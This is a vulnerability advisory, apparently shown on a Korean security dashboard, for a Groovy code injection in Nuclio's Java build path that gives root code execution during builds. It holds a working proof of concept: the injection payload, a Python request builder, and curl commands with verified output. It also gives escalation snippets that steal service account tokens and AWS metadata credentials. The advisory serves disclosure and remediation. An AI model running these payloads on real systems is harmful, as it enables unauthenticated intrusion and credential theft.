Kestrel
대시보드로 돌아가기
CVE-2026-52833HIGH· 8.0GHSA대응게시일: 2026. 07. 16.수정일: 2026. 07. 16.

Nuclio: Unsanitized runtimeAttributes.repositories injected into Groovy build.gradle leads to build-time RCE

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
8.0high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

완전 장악외부 노출· KEV 미등재 · 자동화 어려움 · 완전 장악 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도높음
필요 권한높음
사용자 상호작용불필요
범위변경
영향
기밀성 영향높음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.18.0HIGH
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

상세 설명

Summary

Nuclio's Java runtime generates a build.gradle file during function builds using Go's text/template package. The template renders runtimeAttributes.repositories[] values with the {{ . }} action, which performs no escaping. An attacker can embed a closing brace (}) to break out of the repositories {} block and append arbitrary Groovy statements that execute unconditionally during the Gradle configuration phase.

The Dashboard API runs with NOP authentication by default, so no credentials are required. The build container runs as root. The injected command output confirmed by dynamic testing:

text
1[RCE-PROOF] uid=0(root) gid=0(root) groups=0(root)
2nuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr
3root
4BUILD SUCCESSFUL in 512ms
  • CWE: CWE-94 (Improper Control of Generation of Code / Code Injection)
  • Affected versions: Nuclio <= 1.15.27 (latest as of 2026-05-17, dynamically verified)

Details

Root Cause

pkg/processor/build/runtime/java/runtime.go — function createGradleBuildScript()

Step 1. User input flows from the API into the template data map without validation

types.go:50-64newBuildAttributes() decodes runtimeAttributes with no content inspection. Any string is accepted for each element of Repositories:

text
1// pkg/processor/build/runtime/java/types.go:50-64
2func newBuildAttributes(encodedBuildAttributes map[string]interface{}) (*buildAttributes, error) {
3 newBuildAttributes := buildAttributes{}
4 if err := mapstructure.Decode(encodedBuildAttributes, &newBuildAttributes); err != nil {
5 return nil, errors.Wrap(err, "Failed to decode build attributes")
6 }
7 if len(newBuildAttributes.Repositories) == 0 {
8 newBuildAttributes.Repositories = []string{"mavenCentral()"}
9 }
10 return &newBuildAttributes, nil // no validation of repository string contents
11}

Step 2. text/template renders repositories verbatim into Groovy DSL

runtime.go:111,139 — the template is parsed with text/template, which does not HTML-encode or escape special characters. {{ . }} emits each repository string as-is:

text
1// runtime.go:111
2gradleBuildScriptTemplate, err := template.New("gradleBuildScript").Parse(j.getGradleBuildScriptTemplateContents())
3
4// runtime.go:139
5err = gradleBuildScriptTemplate.Execute(io.MultiWriter(&gradleBuildScriptTemplateBuffer, buildFile), data)

The template section for repositories (runtime.go:155-159):

text
1repositories {
2 {{ range .Repositories }}
3 {{ . }}
4 {{ end }}
5}

{{ . }} is the verbatim output action. Because text/template (unlike html/template) applies no contextual escaping, any character — including }, (, ), newlines — is written directly to the .gradle file.

Step 3. Gradle evaluates the injected Groovy at configuration phase

The generated build.gradle is passed to ./build-user-handler.sh inside the quay.io/nuclio/handler-builder-java-onbuild container. That script runs:

bash
1gradle tasks # configuration phase: top-level Groovy runs
2gradle userHandler # configuration phase: top-level Groovy runs again

Groovy evaluates every top-level statement in build.gradle before executing any task. Injected code therefore runs unconditionally on both invocations.

Injection Mechanics

Payload for repositories[0]:

text
1mavenCentral()
2}
3println('[RCE-PROOF] ' + ['sh', '-c', 'id && hostname && whoami'].execute().text)
4repositories {

Generated build.gradle (confirmed by Dashboard DEBUG log at path /tmp/nuclio-build-378373988/staging/handler/build.gradle):

text
1plugins {
2 id 'com.github.johnrengelman.shadow' version '5.2.0'
3 id 'java'
4}
5
6repositories {
7
8 mavenCentral()
9}
10println('[RCE-PROOF] ' + ['sh', '-c', 'id && hostname && whoami'].execute().text)
11repositories {
12
13}
14
15dependencies {
16 compile files('./nuclio-sdk-java-1.1.0.jar')
17}
18
19shadowJar {
20 baseName = 'user-handler'
21 classifier = null
22}
23
24task userHandler(dependsOn: shadowJar)

The } on line 9 closes the repositories {} block. println(...) on line 10 becomes a top-level Groovy statement. repositories { on line 11 re-opens a new block that the template's trailing } correctly closes, making the entire file syntactically valid.

Groovy's List.execute() extension method (e.g., ['sh', '-c', 'cmd'].execute()) runs an OS process. .text captures its standard output. The injected println logs the output to Gradle's stdout, which appears in the kaniko executor log.


Proof of Concept

Environment Setup

The following steps reproduce the verified environment. All commands were executed and verified on 2026-05-17.

1. Create a dedicated kind cluster
text
1cat > /tmp/kind-vul006.yaml <<'EOF'
2kind: Cluster
3apiVersion: kind.x-k8s.io/v1alpha4
4nodes:
5- role: control-plane
6 extraPortMappings:
7 - containerPort: 8070
8 hostPort: 8070
9 protocol: TCP
10- role: worker
11EOF
12
13kind create cluster --name vul-006 --config /tmp/kind-vul006.yaml

Expected output:

text
1Creating cluster "vul-006" ...
2 ✓ Ensuring node image (kindest/node:v1.27.3)
3 ✓ Preparing nodes
4 ✓ Writing configuration
5 ✓ Starting control-plane
6 ✓ Installing CNI
7 ✓ Installing StorageClass
8 ✓ Joining worker nodes
9Set kubectl context to "kind-vul-006"
2. Pre-load required images
bash
1# Pull images on host
2docker pull quay.io/nuclio/dashboard:1.15.27-amd64
3docker pull quay.io/nuclio/controller:1.15.27-amd64
4docker pull gcr.io/kaniko-project/executor:v1.23.2
5docker pull quay.io/nuclio/handler-builder-java-onbuild:1.15.27-amd64
6
7# Load into kind cluster
8kind load docker-image quay.io/nuclio/dashboard:1.15.27-amd64 --name vul-006
9kind load docker-image quay.io/nuclio/controller:1.15.27-amd64 --name vul-006
10kind load docker-image gcr.io/kaniko-project/executor:v1.23.2 --name vul-006
11kind load docker-image quay.io/nuclio/handler-builder-java-onbuild:1.15.27-amd64 --name vul-006
3. Deploy a local image registry accessible from kind nodes
bash
1# Start registry (reuse existing if present)
2docker run -d --name kind-registry --restart=always \
3 --network kind -p 127.0.0.1:5001:5000 registry:2
4
5# Verify kind nodes can reach it
6REGISTRY_IP=$(docker inspect kind-registry \
7 --format '{{(index .NetworkSettings.Networks "kind").IPAddress}}')
8docker exec vul-006-control-plane curl -s http://${REGISTRY_IP}:5000/v2/
9# Expected: {}
4. Install Nuclio via Helm
bash
1kubectl --context kind-vul-006 create namespace nuclio
2
3cat > /tmp/nuclio-values.yaml <<'EOF'
4dashboard:
5 enabled: true
6 containerBuilderKind: "kaniko"
7 monitorDockerDeamon:
8 enabled: false
9 image:
10 pullPolicy: IfNotPresent
11 kaniko:
12 insecurePushRegistry: true
13 insecurePullRegistry: true
14 initContainerImage:
15 busybox:
16 repository: gcr.io/iguazio/alpine # substitute for busybox if Docker Hub rate-limited
17 tag: "3.20"
18
19registry:
20 pushPullUrl: "kind-registry:5000"
21
22controller:
23 enabled: true
24 image:
25 pullPolicy: IfNotPresent
26
27rbac:
28 create: true
29 crdAccessMode: cluster
30EOF
31
32helm install nuclio ./hack/k8s/helm/nuclio \
33 --namespace nuclio \
34 --kube-context kind-vul-006 \
35 -f /tmp/nuclio-values.yaml \
36 --wait --timeout 120s

Expected output:

text
1NAME: nuclio
2STATUS: deployed
3REVISION: 1
5. Expose the Dashboard and verify connectivity
bash
1kubectl --context kind-vul-006 port-forward \
2 -n nuclio svc/nuclio-dashboard 8070:8070 &
3
4# Wait for readiness
5sleep 5
6curl -s http://localhost:8070/api/functions -o /dev/null -w "HTTP %{http_code}\n"
7# Expected: HTTP 200
8
9# Create the default project required by the API
10curl -s -X POST http://localhost:8070/api/projects \
11 -H "Content-Type: application/json" \
12 -d '{"metadata":{"name":"default","namespace":"nuclio"},"spec":{}}'

Exploitation Steps

Step 1 — Send the malicious function definition

The runtimeAttributes.repositories field accepts any string. Use Python to build a
correctly escaped JSON payload:

python
1import json, base64
2
3# Minimal valid Java handler source
4java_src = """import io.nuclio.Context;
5import io.nuclio.Event;
6public class Handler implements io.nuclio.EventHandler {
7 @Override
8 public Object handleEvent(Context ctx, Event event) { return "hello"; }
9}"""
10
11# Injection: close the repositories block, run a command, re-open the block
12injection = (
13 "mavenCentral()\n"
14 "}\n"
15 "println('[RCE-PROOF] ' + ['sh', '-c', 'id && hostname && whoami'].execute().text)\n"
16 "repositories {"
17)
18
19payload = {
20 "metadata": {"name": "vul006-test", "namespace": "nuclio"},
21 "spec": {
22 "runtime": "java",
23 "handler": "io.nuclio.Handler",
24 "build": {
25 "functionSourceCode": base64.b64encode(java_src.encode()).decode(),
26 "runtimeAttributes": {"repositories": [injection]}
27 },
28 "minReplicas": 0, "maxReplicas": 1
29 }
30}
31
32with open("/tmp/payload.json", "w") as f:
33 json.dump(payload, f)
text
1HTTP_CODE=$(curl -s -o /tmp/response.json -w "%{http_code}" \
2 -X POST http://localhost:8070/api/functions \
3 -H "Content-Type: application/json" \
4 -H "x-nuclio-project-name: default" \
5 -d @/tmp/payload.json)
6echo "HTTP: ${HTTP_CODE}"

Expected output:

text
1HTTP: 202

No authentication required. No validation error for the injected repository value.

Step 2 — Confirm template injection in the Dashboard DEBUG log
python
1kubectl --context kind-vul-006 logs \
2 -n nuclio deploy/nuclio-dashboard --tail=100 \
3 | grep "Created gradle build script" \
4 | python3 -c "
5import sys, json, re
6for line in sys.stdin:
7 m = re.search(r'Created gradle build script ({.*})', line)
8 if m:
9 print(json.loads(m.group(1))['content'])
10"

Actual output (from verified run):

text
1plugins {
2 id 'com.github.johnrengelman.shadow' version '5.2.0'
3 id 'java'
4}
5
6repositories {
7
8 mavenCentral()
9}
10println('[RCE-PROOF] ' + ['sh', '-c', 'id && hostname && whoami'].execute().text)
11repositories {
12
13}
14
15dependencies {
16
17 compile files('./nuclio-sdk-java-1.1.0.jar')
18}
19
20shadowJar {
21 baseName = 'user-handler'
22 classifier = null
23}
24
25task userHandler(dependsOn: shadowJar)

The Dashboard DEBUG log (path logged: /tmp/nuclio-build-378373988/staging/handler/build.gradle) confirms the injected Groovy reached the file verbatim.

Step 3 — Wait for the kaniko build job and observe RCE output
bash
1# Wait for the kaniko pod to appear
2until kubectl --context kind-vul-006 get pods -n nuclio --no-headers \
3 | grep -q "kaniko"; do sleep 2; done
4
5POD=$(kubectl --context kind-vul-006 get pods -n nuclio --no-headers \
6 | grep kaniko | awk '{print $1}')
7echo "Build pod: ${POD}"
8
9# Wait for completion
10until kubectl --context kind-vul-006 get pod -n nuclio "${POD}" \
11 --no-headers | grep -qE "Completed|Error"; do sleep 3; done
12
13# Retrieve execution evidence
14kubectl --context kind-vul-006 logs -n nuclio "${POD}" \
15 -c kaniko-executor | grep -A3 "RCE-PROOF"

Actual output (from verified run, pod nuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr):

text
1[RCE-PROOF] uid=0(root) gid=0(root) groups=0(root)
2nuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr
3root
4BUILD SUCCESSFUL in 2s
5
6[RCE-PROOF] uid=0(root) gid=0(root) groups=0(root)
7nuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr
8root
9BUILD SUCCESSFUL in 512ms

The marker [RCE-PROOF] appears twice — once per gradle invocation (gradle tasks
and gradle userHandler). The output confirms:

  • uid=0(root) — execution as root inside the builder container
  • The pod name as hostname — confirms execution is inside the real build container, not simulated
  • rootwhoami output corroborates the UID

Cleanup

text
1kubectl --context kind-vul-006 delete nucliofunction vul006-test -n nuclio
2kind delete cluster --name vul-006

Impact

Direct Impact

An unauthenticated attacker can execute arbitrary OS commands as root inside the function builder container on every Java function build. Confirmed capabilities from the build container environment:

  • Read/write the build container filesystem
  • Access network endpoints reachable from the build pod
  • Tamper with the compiled function artifact (.jar) before it is packaged into the
    processor image — effectively poisoning the resulting function's image

Privilege Escalation — Docker Socket Escape (Verified: NOT directly exploitable in default configuration)

Verification result: In the default docker builder configuration, direct Docker socket escape via Gradle code injection is NOT exploitable.

Environment
  • Cluster: kind-vul-009, Nuclio v1.15.27-amd64
  • Builder: NUCLIO_CONTAINER_BUILDER_KIND=docker (confirmed via kubectl describe)
  • Dashboard pod: nuclio-dashboard-5f8ddc949c-sfzh4
  • Verified: 2026-05-19 06:21 UTC
docker.sock Mount Confirmed on Dashboard Pod
text
1Mounts:
2 /var/run/docker.sock from docker-sock (rw)
3
4Volumes:
5 docker-sock:
6 Type: HostPath (bare host directory volume)
7 Path: /var/run/docker.sock

The Docker socket is accessible within the Dashboard container itself (Docker v29.1.2 API confirmed reachable).

Build Flow in docker Builder Mode

Nuclio generates a Dockerfile.onbuild and submits it to Docker daemon via the socket:

bash
1FROM quay.io/nuclio/handler-builder-java-onbuild:1.15.27-amd64
2COPY handler/build.gradle /home/gradle/src/userHandler
3COPY ${NUCLIO_BUILD_LOCAL_HANDLER_DIR} /home/gradle/src/userHandler
4RUN cd /home/gradle/src/userHandler && ./build-user-handler.sh # Gradle executes here

Actual command issued (from Dashboard DEBUG log):

text
1docker build --network host --force-rm -t nuclio-onbuild-d8602mam53lc7e12q410 \
2 -f Dockerfile.onbuild --build-arg NUCLIO_LABEL=1.15.27 ...
Probe Results (Step 7/9 RUN Layer)

Injection payload in repositories[0]:

text
1mavenCentral()
2}
3println('[PROBE-1] docker.sock exists: ' + new File('/var/run/docker.sock').exists())
4println('[PROBE-2] ' + ['sh', '-c', 'ls -la /var/run/docker.sock 2>&1 || echo NOT_FOUND'].execute().text)
5println('[PROBE-ENV] hostname=' + ['sh', '-c', 'hostname'].execute().text.trim())
6repositories {

Gradle output (captured twice — once per gradle tasks / gradle userHandler invocation):

text
1> Configure project :
2[PROBE-1] docker.sock exists: false
3[PROBE-2] ls: cannot access '/var/run/docker.sock': No such file or directory
4NOT_FOUND
5
6[PROBE-ENV] hostname=VM-0-8-ubuntu
7
8BUILD SUCCESSFUL in 2s

The RCE executed successfully. The docker.sock does not exist inside the RUN-stage container.

Root Cause

Each RUN instruction in a docker build executes inside an isolated intermediate container
(b747a20b21ba). That container:

  1. Has a filesystem built from image layers only — it does not inherit volume mounts from the caller (the Dashboard container).
  2. --network host shares the host network namespace (explaining hostname=VM-0-8-ubuntu) but does not share the filesystem.
  3. Docker daemon never exposes the host filesystem (including /var/run/docker.sock) to build-stage containers unless the Dockerfile explicitly arranges it.
Conditions Required for Exploitability

This path becomes exploitable only under non-default configurations:

  • Dockerfile with explicit socket bind: e.g., BuildKit --mount=type=bind,source=/var/run/docker.sock,... in the onbuild image, or replacing docker build with docker run -v /var/run/docker.sock:/var/run/docker.sock
  • Privileged build containers: --privileged mode with mknod device node creation
  • Docker-in-Docker setup: Docker daemon pre-installed and launched inside the builder image

None of these conditions exist in the standard Nuclio Helm chart deployment.

Evidence: evidence/logs/docker-builder-socket-probe.log

Privilege Escalation — Kubernetes ServiceAccount Token

The build pod can read the ServiceAccount token mounted within it. However, the kaniko Job's serviceAccountName is sourced from builderServiceAccount, function serviceAccount, kaniko.defaultServiceAccount, or the platform's default function SA (see pkg/containerimagebuilderpusher/kaniko.go:301, :375, :840-849). This is not inherently the same as the Nuclio Dashboard's high-privilege ServiceAccount.

In deployments where the build pod uses a high-privilege ServiceAccount (e.g., where an administrator has bound overly broad RBAC roles to the builder SA), an attacker can read the token and query the Kubernetes API:

text
1// Read the build pod's own SA token (not the Dashboard SA)
2def token = new File('/var/run/secrets/kubernetes.io/serviceaccount/token').text
3['sh', '-c', "curl -sk -H 'Authorization: Bearer ${token}' " +
4 'https://kubernetes.default.svc/api/v1/namespaces/nuclio/secrets'].execute().text

The effective permissions of this token depend on the RBAC bindings of the build pod's ServiceAccount. Under least-privilege configurations, this token may not be able to access sensitive resources.

Cross-Tenant Access (Horizontal Escalation)

Nuclio uses Kubernetes namespaces for tenant isolation. Build containers in docker mode share the host Docker daemon. An attacker can enumerate and access containers belonging to other tenants via the Docker socket.

Cloud Instance Metadata (SSRF — Managed Kubernetes)

In EKS, GKE, or AKS environments, the build container can reach the cloud instance metadata service:

text
1// AWS IMDSv2 — retrieve IAM role credentials
2def imdsToken = ['sh', '-c',
3 'curl -s -X PUT "http://169.254.169.254/latest/api/token" ' +
4 '-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"'].execute().text.trim()
5def role = ['sh', '-c',
6 "curl -s -H 'X-aws-ec2-metadata-token: ${imdsToken}' " +
7 'http://169.254.169.254/latest/meta-data/iam/security-credentials/'].execute().text

Obtained temporary IAM credentials grant access to AWS services (ECR, S3, etc.) available to the node's IAM role.


Severity

CVSS 3.1 Score: 10.0 (Critical)

text
1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MetricValueRationale
Attack VectorNetworkDashboard API is network-accessible
Attack ComplexityLowSingle POST request; no race condition or special preparation
Privileges RequiredNoneDefault NOP authentication requires no credentials
User InteractionNoneNo user action required
ScopeChangedImpact can escape the build container under common production deployments (see below)
ConfidentialityHighRegistry credentials, SA tokens, cloud credentials readable in most deployments
IntegrityHighFunction images can be tampered; cluster resources modifiable
AvailabilityHighBuild pipeline can be disrupted; cluster resources deletable

Rating Rationale

This RCE has realistic conditions for further credential acquisition and lateral movement from the build container. In particular, under the following common production deployment scenarios:

  • Kaniko builds use registry secrets (image push credentials mounted into the build pod)
  • ECR registry provider secrets are configured
  • Node IAM metadata is reachable (IMDS not blocked)
  • Build pods use a high-privilege ServiceAccount

An attacker can read image registry credentials, AWS/GCP temporary credentials, or Kubernetes SA tokens, and subsequently poison the image registry, access cluster resources, or pivot to cloud resources. A Critical rating is justified under these common deployment conditions.

Downgrade conditions: If a deployment follows least-privilege principles — no registry/cloud credential mounts, IMDS blocked, build SA has no sensitive RBAC bindings — the impact is primarily limited to code execution within the build container and artifact tampering. This remains High severity but should not be justified on the basis of "default lateral movement."


Affected Versions

  • Nuclio <= 1.15.27 (latest release as of 2026-05-17)
  • All versions that include the Java runtime build path
    (pkg/processor/build/runtime/java/runtime.go)

The vulnerability was introduced when the Java runtime and its runtimeAttributes support were added and has not been addressed in any release to date.


Patched Versions

Workarounds

Until a patch is released, the following mitigations reduce exposure:

  1. Enable authentication on the Dashboard. Set NUCLIO_AUTH_KIND to a non-NOP
    authenticator (e.g., iguazio). This prevents unauthenticated access to the function
    creation API.

  2. Network-restrict the Dashboard port (8070). Allow access only from trusted internal
    networks or VPN. Do not expose the Dashboard to the public internet.

  3. Disable Java runtime support if not in use. Remove the Java runtime handler from
    the dashboard deployment configuration.

  4. Use kaniko over docker builder. In kaniko mode the Docker socket is not mounted,
    eliminating the host-escape path. The build-time RCE remains exploitable, but the
    blast radius is reduced to the build pod.


Remediation Recommendations

Option 1 — Input validation (recommended for quick fix)

In newBuildAttributes() (types.go:50), validate each repository string against an allowlist pattern before accepting it:

text
1import "regexp"
2
3var repoPattern = regexp.MustCompile(`^[a-zA-Z0-9_\-\(\)\.:\/]+$`)
4
5for _, repo := range newBuildAttributes.Repositories {
6 if !repoPattern.MatchString(repo) {
7 return nil, fmt.Errorf("invalid repository value: %q", repo)
8 }
9}

Option 2 — Replace text/template with a safe rendering approach

The repositories block should not use a Go template at all. Build the build.gradle content programmatically using string concatenation with per-value validation, rather than via a template that cannot express per-field escaping semantics.

Option 3 — Content Security: reject newlines and Groovy metacharacters

Reject any repository value containing \n, \r, {, }, (, ), ', ". These characters are not present in valid Maven repository declarations.


Resources

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.